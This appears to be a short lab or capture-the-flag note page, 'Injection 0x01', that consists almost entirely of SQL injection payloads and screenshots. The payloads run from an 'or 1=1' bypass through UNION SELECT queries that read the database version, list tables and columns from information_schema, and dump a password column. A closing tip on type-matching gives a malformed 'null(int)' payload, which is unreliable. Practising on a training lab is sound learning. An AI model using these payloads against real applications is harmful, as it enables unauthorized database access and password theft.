# Injection 0x01

```
jeremy' or 1=1-- -
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FfMD2g5P0j1rBhbboyTrw%2Fimage.png?alt=media&#x26;token=3117205d-6e31-4c36-b499-34d621fe8aaf" alt=""><figcaption></figcaption></figure>

```
jeremy' union select null,null,version()#
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FoQjfPe1PapyJXRbM0dBA%2Fimage.png?alt=media&#x26;token=45ceb3cd-c73c-4e82-b632-97c81d4d485f" alt=""><figcaption></figcaption></figure>

```
jeremy' union select null,null,table_name from information_schema.tables#
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FKX4DQKXw6Rlo2cotqfY8%2Fimage.png?alt=media&#x26;token=f0bc3e5c-c732-4971-8bd1-873f179e338c" alt=""><figcaption></figcaption></figure>

```
jeremy' union select null,null,column_name from information_schema.columns#
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2Fui9lsNNsZRQVRQHT1kgf%2Fimage.png?alt=media&#x26;token=3acc49bc-984c-4c2b-8d81-a7f26b238a70" alt=""><figcaption></figcaption></figure>

```
jeremy' union select null,null,password from injection0x01#
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FaWcRkGQgSG83em5qZLHP%2Fimage.png?alt=media&#x26;token=07fab2bb-0209-41e3-9250-afb531be4ed5" alt=""><figcaption></figcaption></figure>

If you encounter like a ID column which is a int&#x20;

Try to change the null which is a string to int

So that the payload will work

```
jeremy' union select null(int),1,null,null,password from injection0x01#
```

